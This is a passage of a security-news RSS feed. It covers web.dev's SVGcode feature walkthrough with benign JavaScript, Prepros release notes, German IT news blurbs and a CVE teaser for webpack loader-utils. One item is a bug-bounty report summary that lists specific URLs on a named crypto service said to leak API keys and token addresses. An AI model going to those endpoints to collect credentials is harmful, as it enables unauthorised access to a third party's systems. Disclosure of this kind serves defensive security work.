punctuation">;</span><br />  <span class="token keyword">if</span> <span class="token punctuation">(</span>item<span class="token punctuation">.</span>kind <span class="token operator">===</span> <span class="token string">'file'</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><br />    inputImage<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><br />      <span class="token string">'load'</span><span class="token punctuation">,</span><br />      <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><br />        <span class="token constant">URL</span><span class="token punctuation">.</span><span class="token function">revokeObjectURL</span><span class="token punctuation">(</span>blobURL<span class="token punctuation">)</span><span class="token punctuation">;</span><br />      <span class="token punctuation">}</span><span class="token punctuation">,</span><br />      <span class="token punctuation">{</span><span class="token literal-property property">once</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">}</span><span class="token punctuation">,</span><br />    <span class="token punctuation">)</span><span class="token punctuation">;</span><br />    <span class="token keyword">const</span> handle <span class="token operator">=</span> <span class="token keyword">await</span> item<span class="token punctuation">.</span><span class="token function">getAsFileSystemHandle</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />    <span class="token keyword">if</span> <span class="token punctuation">(</span>handle<span class="token punctuation">.</span>kind <span class="token operator">!==</span> <span class="token string">'file'</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><br />      <span class="token keyword">return</span><span class="token punctuation">;</span><br />    <span class="token punctuation">}</span><br />    <span class="token keyword">const</span> file <span class="token operator">=</span> <span class="token keyword">await</span> handle<span class="token punctuation">.</span><span class="token function">getFile</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />    <span class="token keyword">const</span> blobURL <span class="token operator">=</span> <span class="token constant">URL</span><span class="token punctuation">.</span><span class="token function">createObjectURL</span><span class="token punctuation">(</span>file<span class="token punctuation">)</span><span class="token punctuation">;</span><br />    inputImage<span class="token punctuation">.</span>src <span class="token operator">=</span> blobURL<span class="token punctuation">;</span><br />    <span class="token keyword">await</span> <span class="token function">set</span><span class="token punctuation">(</span><span class="token constant">FILE_HANDLE</span><span class="token punctuation">,</span> handle<span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token punctuation">}</span><br /><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
</div><p>For more details, check out the article on the <a href="https://web.dev/file-system-access/">File System Access API</a> and,
if you're interested, study the SVGcode source code in
<a href="https://github.com/tomayac/SVGcode/blob/main/src/js/filesystem.js" rel="noopener"><code>src/js/filesystem.js</code></a>.</p>
<h3 id="async-clipboard-api">Async Clipboard API <a class="w-headline-link" href="https://web.dev/svgcode/#async-clipboard-api">#</a></h3>
<p>SVGcode is also fully integrated with the operating system's clipboard via the Async Clipboard API.
You can paste images from the operating system's file explorer into the app either by clicking the
paste image button or by pressing command or control plus v on your keyboard.</p>
<figure>
  <video autoplay="" loop="" muted="" playsinline="">      <source src="https://storage.googleapis.com/web-dev-uploads/video/8WbTDNrhLsU0El80frMBGE4eMCD3/9wHL0Uc7eHFEFF99anaB.mp4" type="video/mp4" />    </video>
  <figcaption>
    Pasting an image from the file explorer into SVGcode.
  </figcaption>
</figure>
<p>The Async Clipboard API has recently gained the ability to deal with SVG images as well, so you can
also copy an SVG image and paste it into another application for further processing.</p>
<figure>
  <video autoplay="" loop="" muted="" playsinline="">      <source src="https://storage.googleapis.com/web-dev-uploads/video/8WbTDNrhLsU0El80frMBGE4eMCD3/KiGt5UHOvZZEvPhtwIny.mp4" type="video/mp4" />    </video>
  <figcaption>
    Copying an image from SVGcode into SVGOMG.
  </figcaption>
</figure>
<div><pre class="language-js"><code class="language-js">copyButton<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'click'</span><span class="token punctuation">,</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><br />  <span class="token keyword">let</span> svg <span class="token operator">=</span> svgOutput<span class="token punctuation">.</span>innerHTML<span class="token punctuation">;</span><br />  <span class="token function">showToast</span><span class="token punctuation">(</span>i18n<span class="token punctuation">.</span><span class="token function">t</span><span class="token punctuation">(</span><span class="token string">'optimizingSVG'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />  svg <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">optimizeSVG</span><span class="token punctuation">(</span>svg<span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token keyword">const</span> textBlob <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Blob</span><span class="token punctuation">(</span><span class="token punctuation">[</span>svg<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'text/plain'</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token keyword">const</span> svgBlob <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Blob</span><span class="token punctuation">(</span><span class="token punctuation">[</span>svg<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'image/svg+xml'</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />  navigator<span class="token punctuation">.</span>clipboard<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span><span class="token punctuation">[</span><br />    <span class="token keyword">new</span> <span class="token class-name">ClipboardItem</span><span class="token punctuation">(</span><span class="token punctuation">{</span><br />      <span class="token punctuation">[</span>svgBlob<span class="token punctuation">.</span>type<span class="token punctuation">]</span><span class="token operator">:</span> svgBlob<span class="token punctuation">,</span><br />      <span class="token punctuation">[</span>textBlob<span class="token punctuation">.</span>type<span class="token punctuation">]</span><span class="token operator">:</span> textBlob<span class="token punctuation">,</span><br />    <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">,</span><br />  <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token function">showToast</span><span class="token punctuation">(</span>i18n<span class="token punctuation">.</span><span class="token function">t</span><span class="token punctuation">(</span><span class="token string">'copiedSVG'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br /><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
</div><p>To learn more, read the <a href="https://web.dev/async-clipboard/">Async Clipboard</a> article, or see the file
<a href="https://github.com/tomayac/SVGcode/blob/main/src/js/clipboard.js" rel="noopener"><code>src/js/clipboard.js</code></a>.</p>
<h3 id="file-handling">File Handling <a class="w-headline-link" href="https://web.dev/svgcode/#file-handling">#</a></h3>
<p>One of my favorite features of SVGcode is how well it blends in with the operating system. As an
installed PWA, it can become a file handler, or even the default file handler, for image files. This
means that when I'm in the Finder on my macOS machine, I can right-click an image and open it with
SVGcode. This feature is called File Handling and works based on the file_handlers property in the
Web App Manifest and the launch queue, which allows the app to consume the passed file.</p>
<figure>
  <video autoplay="" loop="" muted="" playsinline="">      <source src="https://storage.googleapis.com/web-dev-uploads/video/8WbTDNrhLsU0El80frMBGE4eMCD3/DEQLkm1vrt226xsAoysI.mp4" type="video/mp4" />    </video>
  <figcaption>
    Opening a file from the desktop with installed SVGcode app.
  </figcaption>
</figure>
<div><pre class="language-js"><code class="language-js">window<span class="token punctuation">.</span>launchQueue<span class="token punctuation">.</span><span class="token function">setConsumer</span><span class="token punctuation">(</span><span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token parameter">launchParams</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><br />  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>launchParams<span class="token punctuation">.</span>files<span class="token punctuation">.</span>length<span class="token punctuation">)</span> <span class="token punctuation">{</span><br />    <span class="token keyword">return</span><span class="token punctuation">;</span><br />  <span class="token punctuation">}</span><br />  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> handle <span class="token keyword">of</span> launchParams<span class="token punctuation">.</span>files<span class="token punctuation">)</span> <span class="token punctuation">{</span><br />    <span class="token keyword">const</span> file <span class="token operator">=</span> <span class="token keyword">await</span> handle<span class="token punctuation">.</span><span class="token function">getFile</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />    <span class="token keyword">if</span> <span class="token punctuation">(</span>file<span class="token punctuation">.</span>type<span class="token punctuation">.</span><span class="token function">startsWith</span><span class="token punctuation">(</span><span class="token string">'image/'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><br />      <span class="token keyword">const</span> blobURL <span class="token operator">=</span> <span class="token constant">URL</span><span class="token punctuation">.</span><span class="token function">createObjectURL</span><span class="token punctuation">(</span>file<span class="token punctuation">)</span><span class="token punctuation">;</span><br />      inputImage<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><br />        <span class="token string">'load'</span><span class="token punctuation">,</span><br />        <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><br />          <span class="token constant">URL</span><span class="token punctuation">.</span><span class="token function">revokeObjectURL</span><span class="token punctuation">(</span>blobURL<span class="token punctuation">)</span><span class="token punctuation">;</span><br />        <span class="token punctuation">}</span><span class="token punctuation">,</span><br />        <span class="token punctuation">{</span><span class="token literal-property property">once</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">}</span><span class="token punctuation">,</span><br />      <span class="token punctuation">)</span><span class="token punctuation">;</span><br />      inputImage<span class="token punctuation">.</span>src <span class="token operator">=</span> blobURL<span class="token punctuation">;</span><br />      <span class="token keyword">await</span> <span class="token function">set</span><span class="token punctuation">(</span><span class="token constant">FILE_HANDLE</span><span class="token punctuation">,</span> handle<span class="token punctuation">)</span><span class="token punctuation">;</span><br />      <span class="token keyword">return</span><span class="token punctuation">;</span><br />    <span class="token punctuation">}</span><br />  <span class="token punctuation">}</span><br /><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
</div><p>For more information, see <a href="https://web.dev/file-handling/">Let installed web applications be file handlers</a>, and view the source code in
<a href="https://github.com/tomayac/SVGcode/blob/main/src/js/filehandling.js" rel="noopener"><code>src/js/filehandling.js</code></a>.</p>
<h3 id="web-share-files">Web Share (Files) <a class="w-headline-link" href="https://web.dev/svgcode/#web-share-files">#</a></h3>
<p>Another example of blending in with the operating system is the app's share feature. Assuming I want
to make edits to an SVG created with SVGcode, one way to deal with this would be to save the file,
launch the SVG editing app, and then open the SVG file from there. A smoother flow, though, is to
use the <a href="https://web.dev/web-share/#sharing-files">Web Share API</a>, which allows for files to be shared directly. So if
the SVG editing app is a share target, it can directly receive the file without deviation.</p>
<div><pre class="language-js"><code class="language-js">shareSVGButton<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'click'</span><span class="token punctuation">,</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><br />  <span class="token keyword">let</span> svg <span class="token operator">=</span> svgOutput<span class="token punctuation">.</span>innerHTML<span class="token punctuation">;</span><br />  svg <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">optimizeSVG</span><span class="token punctuation">(</span>svg<span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token keyword">const</span> suggestedFileName <span class="token operator">=</span><br />    <span class="token function">getSuggestedFileName</span><span class="token punctuation">(</span><span class="token keyword">await</span> <span class="token function">get</span><span class="token punctuation">(</span><span class="token constant">FILE_HANDLE</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token string">'Untitled.svg'</span><span class="token punctuation">;</span><br />  <span class="token keyword">const</span> file <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">File</span><span class="token punctuation">(</span><span class="token punctuation">[</span>svg<span class="token punctuation">]</span><span class="token punctuation">,</span> suggestedFileName<span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'image/svg+xml'</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token keyword">const</span> data <span class="token operator">=</span> <span class="token punctuation">{</span><br />    <span class="token literal-property property">files</span><span class="token operator">:</span> <span class="token punctuation">[</span>file<span class="token punctuation">]</span><span class="token punctuation">,</span><br />  <span class="token punctuation">}</span><span class="token punctuation">;</span><br />  <span class="token keyword">if</span> <span class="token punctuation">(</span>navigator<span class="token punctuation">.</span><span class="token function">canShare</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><br />    <span class="token keyword">try</span> <span class="token punctuation">{</span><br />      <span class="token keyword">await</span> navigator<span class="token punctuation">.</span><span class="token function">share</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">;</span><br />    <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">{</span><br />      <span class="token keyword">if</span> <span class="token punctuation">(</span>err<span class="token punctuation">.</span>name <span class="token operator">!==</span> <span class="token string">'AbortError'</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><br />        console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span>err<span class="token punctuation">.</span>name<span class="token punctuation">,</span> err<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span><br />      <span class="token punctuation">}</span><br />    <span class="token punctuation">}</span><br />  <span class="token punctuation">}</span><br /><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
</div><figure>
  <video autoplay="" loop="" muted="" playsinline="">      <source src="https://storage.googleapis.com/web-dev-uploads/video/8WbTDNrhLsU0El80frMBGE4eMCD3/p3Dn9FXrNLPtb4syXnfl.mp4" type="video/mp4" />    </video>
  <figcaption>
    Sharing an SVG image to Gmail.
  </figcaption>
</figure>
<h3 id="web-share-target-files">Web Share Target (Files) <a class="w-headline-link" href="https://web.dev/svgcode/#web-share-target-files">#</a></h3>
<p>The other way round, SVGcode can also act as a share target and receive files from other apps. To
make this work, the app needs to let the operating system know via the
<a href="https://web.dev/web-share-target/">Web Share Target API</a> what types of data it can accept. This happens via a
dedicated field in the Web App Manifest.</p>
<div><pre class="language-json"><code class="language-json"><span class="token punctuation">{</span><br />  <span class="token property">"share_target"</span><span class="token operator">:</span> <span class="token punctuation">{</span><br />    <span class="token property">"action"</span><span class="token operator">:</span> <span class="token string">"https://svgco.de/share-target/"</span><span class="token punctuation">,</span><br />    <span class="token property">"method"</span><span class="token operator">:</span> <span class="token string">"POST"</span><span class="token punctuation">,</span><br />    <span class="token property">"enctype"</span><span class="token operator">:</span> <span class="token string">"multipart/form-data"</span><span class="token punctuation">,</span><br />    <span class="token property">"params"</span><span class="token operator">:</span> <span class="token punctuation">{</span><br />      <span class="token property">"files"</span><span class="token operator">:</span> <span class="token punctuation">[</span><br />        <span class="token punctuation">{</span><br />          <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"image"</span><span class="token punctuation">,</span><br />          <span class="token property">"accept"</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token string">"image/jpeg"</span><span class="token punctuation">,</span> <span class="token string">"image/png"</span><span class="token punctuation">,</span> <span class="token string">"image/webp"</span><span class="token punctuation">,</span> <span class="token string">"image/gif"</span><span class="token punctuation">]</span><br />        <span class="token punctuation">}</span><br />      <span class="token punctuation">]</span><br />    <span class="token punctuation">}</span><br />  <span class="token punctuation">}</span><br /><span class="token punctuation">}</span></code></pre>
</div><p>The <code>action</code> route does not actually exist, but is handled purely in the service worker's <code>fetch</code>
handler, which then passes on received files for actual processing in the app.</p>
<div><pre class="language-js"><code class="language-js">self<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">'fetch'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">fetchEvent</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><br />  <span class="token keyword">if</span> <span class="token punctuation">(</span><br />    fetchEvent<span class="token punctuation">.</span>request<span class="token punctuation">.</span>url<span class="token punctuation">.</span><span class="token function">endsWith</span><span class="token punctuation">(</span><span class="token string">'/share-target/'</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span><br />    fetchEvent<span class="token punctuation">.</span>request<span class="token punctuation">.</span>method <span class="token operator">===</span> <span class="token string">'POST'</span><br />  <span class="token punctuation">)</span> <span class="token punctuation">{</span><br />    <span class="token keyword">return</span> fetchEvent<span class="token punctuation">.</span><span class="token function">respondWith</span><span class="token punctuation">(</span><br />      <span class="token punctuation">(</span><span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><br />        <span class="token keyword">const</span> formData <span class="token operator">=</span> <span class="token keyword">await</span> fetchEvent<span class="token punctuation">.</span>request<span class="token punctuation">.</span><span class="token function">formData</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />        <span class="token keyword">const</span> image <span class="token operator">=</span> formData<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'image'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />        <span class="token keyword">const</span> keys <span class="token operator">=</span> <span class="token keyword">await</span> caches<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />        <span class="token keyword">const</span> mediaCache <span class="token operator">=</span> <span class="token keyword">await</span> caches<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><br />          keys<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">key</span><span class="token punctuation">)</span> <span class="token operator">=></span> key<span class="token punctuation">.</span><span class="token function">startsWith</span><span class="token punctuation">(</span><span class="token string">'media'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span><br />        <span class="token punctuation">)</span><span class="token punctuation">;</span><br />        <span class="token keyword">await</span> mediaCache<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span><span class="token string">'shared-image'</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Response</span><span class="token punctuation">(</span>image<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />        <span class="token keyword">return</span> Response<span class="token punctuation">.</span><span class="token function">redirect</span><span class="token punctuation">(</span><span class="token string">'./?share-target'</span><span class="token punctuation">,</span> <span class="token number">303</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br />      <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span><br />    <span class="token punctuation">)</span><span class="token punctuation">;</span><br />  <span class="token punctuation">}</span><br /><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
</div><figure>
  <video autoplay="" loop="" muted="" playsinline="">      <source src="https://storage.googleapis.com/web-dev-uploads/video/8WbTDNrhLsU0El80frMBGE4eMCD3/SVtll3ShgNigvkVLu7cn.mp4" type="video/mp4" />    </video>
  <figcaption>
    Sharing a screenshot to SVGcode.
  </figcaption>
</figure>
<h2 id="conclusion">Conclusion <a class="w-headline-link" href="https://web.dev/svgcode/#conclusion">#</a></h2>
<p>Alright, this was a quick tour through some of the advanced app features in SVGcode. I hope this app
can become an essential tool for your image processing needs alongside other amazing apps like
<a href="https://squoosh.app/" rel="noopener">Squoosh</a> or <a href="https://jakearchibald.github.io/svgomg/" rel="noopener">SVGOMG</a>.</p>
<p>SVGcode is available at <a href="https://svgco.de/" rel="noopener">svgco.de</a>. See what I did there? You can
<a href="https://github.com/tomayac/SVGcode" rel="noopener">review its source code on GitHub</a>. Note that since Potrace is
GPL-licensed, so is SVGcode. And with that, happy vectorizing! I hope SVGcode will be useful, and
some of its features can inspire your next app.</p>
<h2 id="acknowledgements">Acknowledgements <a class="w-headline-link" href="https://web.dev/svgcode/#acknowledgements">#</a></h2>
<p>This article was reviewed by <a href="https://github.com/jpmedley" rel="noopener">Joe Medley</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Prepros 7.7.0 - Web Development Companion.]]></title>
<description><![CDATA[Prepros is Your Friendly Web Development Companion 

Prepros compiles your files, transpiles your JavaScript, reloads your browsers and makes it really easy to develop & test your websites so you can focus on making them perfect. 

Compile Everything 

Prepros can compile Sass, Less, Stylus...]]></description>
<link>https://tsecurity.de/de/1725040/ios-mac-os/prepros-770-web-development-companion/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1725040/ios-mac-os/prepros-770-web-development-companion/</guid>
<pubDate>Thu, 08 Dec 2022 14:30:23 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<br><br><p><strong>Prepros</strong> is Your Friendly Web Development Companion</p> 

<p>Prepros compiles your files, transpiles your JavaScript, reloads your browsers and makes it really easy to develop &amp; test your websites so you can focus on making them perfect.</p> 

<h5>Compile Everything</h5> 

<p>Prepros can compile Sass, Less, Stylus, Pug/Jade, Haml, Slim, CoffeeScript and TypeScript out of the box. You can also add your own tools with just a few clicks.</p> 

<h5>Bundle JavaScript</h5> 

<p>Bundle ES6 imports and modules from npm without writing a configuration file.</p> 

<h5>Find Problems at a Glance</h5> 

<p>Prepros shows exactly where you have a problem in your code. Forget black screen full of unreadable jumble.</p> 

<h5>Built-in Server</h5> 

<p>Prepros comes with a built-in HTTP &amp; HTTPS server. It can serve pages directly from your project folder or proxy them from an external server such as WordPress, Shopify, XAMPP, Wamp, MAMP, etc.</p> 

<h5>Network Preview</h5> 

<p>Preview pages on mobile devices with ease. Just scan the QR-Code or open the address. Prepros also reloads all connected mobile browsers automatically every time you make a change in your code.</p> 

<h5>Automatic Browser Reload</h5> 

<p>Prepros reloads your browsers automatically every time you make a change in your code.</p> 

<h5>Minify &amp; Optimize</h5> 

<p>Minify &amp; Optimize assets to save bandwidth and make your sites faster.</p> 

<h5>Manage Packages with NPM</h5> 

<p>Search, install and manage packages from npmjs.org with just a few clicks.</p> 

<h5>Export &amp; Upload</h5> 

<p>Prepros can export files ready for deployment. It can also upload files to a server with FTP &amp; SFTP.</p><br><br><ul><li>Added support for Sass @warn and @debug statements. Check logs tab to see the statements.</li>
<li>Added an option to remove the @charset rule output by Sass.</li>
<li>Added support for Sublime Text 4 and various other editors.</li>
<li>Added right click context menu to clear logs.</li>
<li>Updated Babel, Babel plugins and presets to 7.19.6</li>
<li>Updated Autoprefixer to 10.4.13</li>
<li>Updated Less to 4.1.3</li>
<li>Updated Node Sass to 7.0.3</li>
<li>Updated PostCSS to 8.4.18</li>
<li>Updated PostCSS Preset Env to 7.8.2</li>
<li>Updated Dart Sass to 1.55.0</li>
<li>Updated Stylus to 0.59.0</li>
<li>Updated Tailwindcss to 3.2.1</li>
<li>Updated Terser to 5.15.1</li>
<li>Updated Typescript to 4.8.4</li>
<li>Updated Webpack to 5.74.0</li>
</ul><br><br><a href="https://www.macupdate.com/app/mac/55728/prepros">Download Now</a><img src="https://desktop.macupdate.com/api/620/discover/ttra" height="1" width="1">]]&gt;]]></content:encoded>
</item>
<item>
<title><![CDATA[AMBER AI: I found some api keys in js files ,huge leak of  token addresses and huge amount of js files are not forbidden]]></title>
<description><![CDATA[Summary: Huge leak of token addresses in (be.whalefin.com) and huge leak of js files  Steps To Reproduce: [add details for how we can reproduce the issue]  You can see huge leak of token addresses in below site        https://be-jp.whalefin.com/common-config/v1/config/coin/all-config        Pleas...]]></description>
<link>https://tsecurity.de/de/1712162/sicherheitsluecken/amber-ai-i-found-some-api-keys-in-js-files-huge-leak-of-token-addresses-and-huge-amount-of-js-files-are-not-forbidden/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1712162/sicherheitsluecken/amber-ai-i-found-some-api-keys-in-js-files-huge-leak-of-token-addresses-and-huge-amount-of-js-files-are-not-forbidden/</guid>
<pubDate>Tue, 29 Nov 2022 13:34:51 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<br><img height="200" width="200" src="http://vulners.com/static/img/hackerone.png" alt="image"><br>Summary: Huge leak of token addresses in (be.whalefin.com) and huge leak of js files  Steps To Reproduce: [add details for how we can reproduce the issue]  You can see huge leak of token addresses in below site        https://be-jp.whalefin.com/common-config/v1/config/coin/all-config        Please check poc  NOTE:SOME API KEYS ARE  FOUND IN JS FILES. SO PLEASE KEEP JS FILES FORBIDDEN   Huge  leak of js files         Some examples:          https://www.whalefin.com/_next/static/chunks/polyfills-0d1b80a048d4787e.js        https://www.whalefin.com/_next/static/chunks/webpack-3fc48f634eb48f0b.js         https://www.whalefin.com/_next/static/chunks/framework-79bce4a3a540b08 Supporting  https://www.whalefin.com/_next/static/chunks/main-ceb62cabf2460eaa.js https://www.whalefin.com/_next/static/chunks/pages/_app-7ef3ae34c51e5d10.js  [attachment / reference]     Screenshot in attachment  Reference: Support Portal Takeover via Leaked API KEY-hackerone report Impact Js file  have some credentials and lead to leakage of api key, username, password...]]></content:encoded>
</item>
<item>
<title><![CDATA[Entwicklungsumgebung WebStorm bringt Erweiterungen für Vite, Vue und Next.js]]></title>
<description><![CDATA[Neben neuen Projektvorlagen für Vite und Next.js hat die IDE Ergänzungen für Vue-Projekte sowie eine Vitest-Anbindung an Bord.]]></description>
<link>https://tsecurity.de/de/1712087/it-nachrichten/entwicklungsumgebung-webstorm-bringt-erweiterungen-fuer-vite-vue-und-nextjs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1712087/it-nachrichten/entwicklungsumgebung-webstorm-bringt-erweiterungen-fuer-vite-vue-und-nextjs/</guid>
<pubDate>Tue, 29 Nov 2022 12:49:07 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Neben neuen Projektvorlagen für Vite und Next.js hat die IDE Ergänzungen für Vue-Projekte sowie eine Vitest-Anbindung an Bord.]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript: Stabile Version von Nuxt 3.0.0 ist fertig]]></title>
<description><![CDATA[Nuxt, ein Framework zur Entwicklung grafischer Web-Oberflächen auf Basis von Vite, Vue3 und Nitro, steht nun in einer ersten stabilen Version bereit.]]></description>
<link>https://tsecurity.de/de/1703362/it-nachrichten/javascript-stabile-version-von-nuxt-300-ist-fertig/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1703362/it-nachrichten/javascript-stabile-version-von-nuxt-300-ist-fertig/</guid>
<pubDate>Tue, 22 Nov 2022 14:19:12 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nuxt, ein Framework zur Entwicklung grafischer Web-Oberflächen auf Basis von Vite, Vue3 und Nitro, steht nun in einer ersten stabilen Version bereit.]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript-Bundler Turbopack: "Mit den Erfahrungen aus zehn Jahren Webpack"]]></title>
<description><![CDATA[Tobias Koppers entwickelte einst Webpack und arbeitet nun am Nachfolger Turbopack mit deutlichem Performance-Boost. Im Interview erklärt er die Hintergründe.]]></description>
<link>https://tsecurity.de/de/1695209/it-nachrichten/javascript-bundler-turbopack-mit-den-erfahrungen-aus-zehn-jahren-webpack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1695209/it-nachrichten/javascript-bundler-turbopack-mit-den-erfahrungen-aus-zehn-jahren-webpack/</guid>
<pubDate>Tue, 15 Nov 2022 09:04:08 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tobias Koppers entwickelte einst Webpack und arbeitet nun am Nachfolger Turbopack mit deutlichem Performance-Boost. Im Interview erklärt er die Hintergründe.]]></content:encoded>
</item>
<item>
<title><![CDATA[Webentwicklung: Build-Tool Parcel mit mehr Performance bei großen Anwendungen]]></title>
<description><![CDATA[Parcel hat einen neuen Bundling-Algorithmus vorzuweisen und ist in bestimmten Situationen schneller als der neue JavaScript-Bundler Turbopack.]]></description>
<link>https://tsecurity.de/de/1691101/it-nachrichten/webentwicklung-build-tool-parcel-mit-mehr-performance-bei-grossen-anwendungen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1691101/it-nachrichten/webentwicklung-build-tool-parcel-mit-mehr-performance-bei-grossen-anwendungen/</guid>
<pubDate>Thu, 10 Nov 2022 14:04:28 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Parcel hat einen neuen Bundling-Algorithmus vorzuweisen und ist in bestimmten Situationen schneller als der neue JavaScript-Bundler Turbopack.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-37603 | webpack loader-utils 2.0.0 interpolateName.js url incorrect regex (ID 213)]]></title>
<description><![CDATA[A vulnerability was found in  webpack loader-utils 2.0.0 and classified as problematic. This issue affects some unknown processing of the file interpolateName.js. The manipulation of the argument url leads to incorrect regular expression.

The identification of this vulnerability is CVE-2022-3760...]]></description>
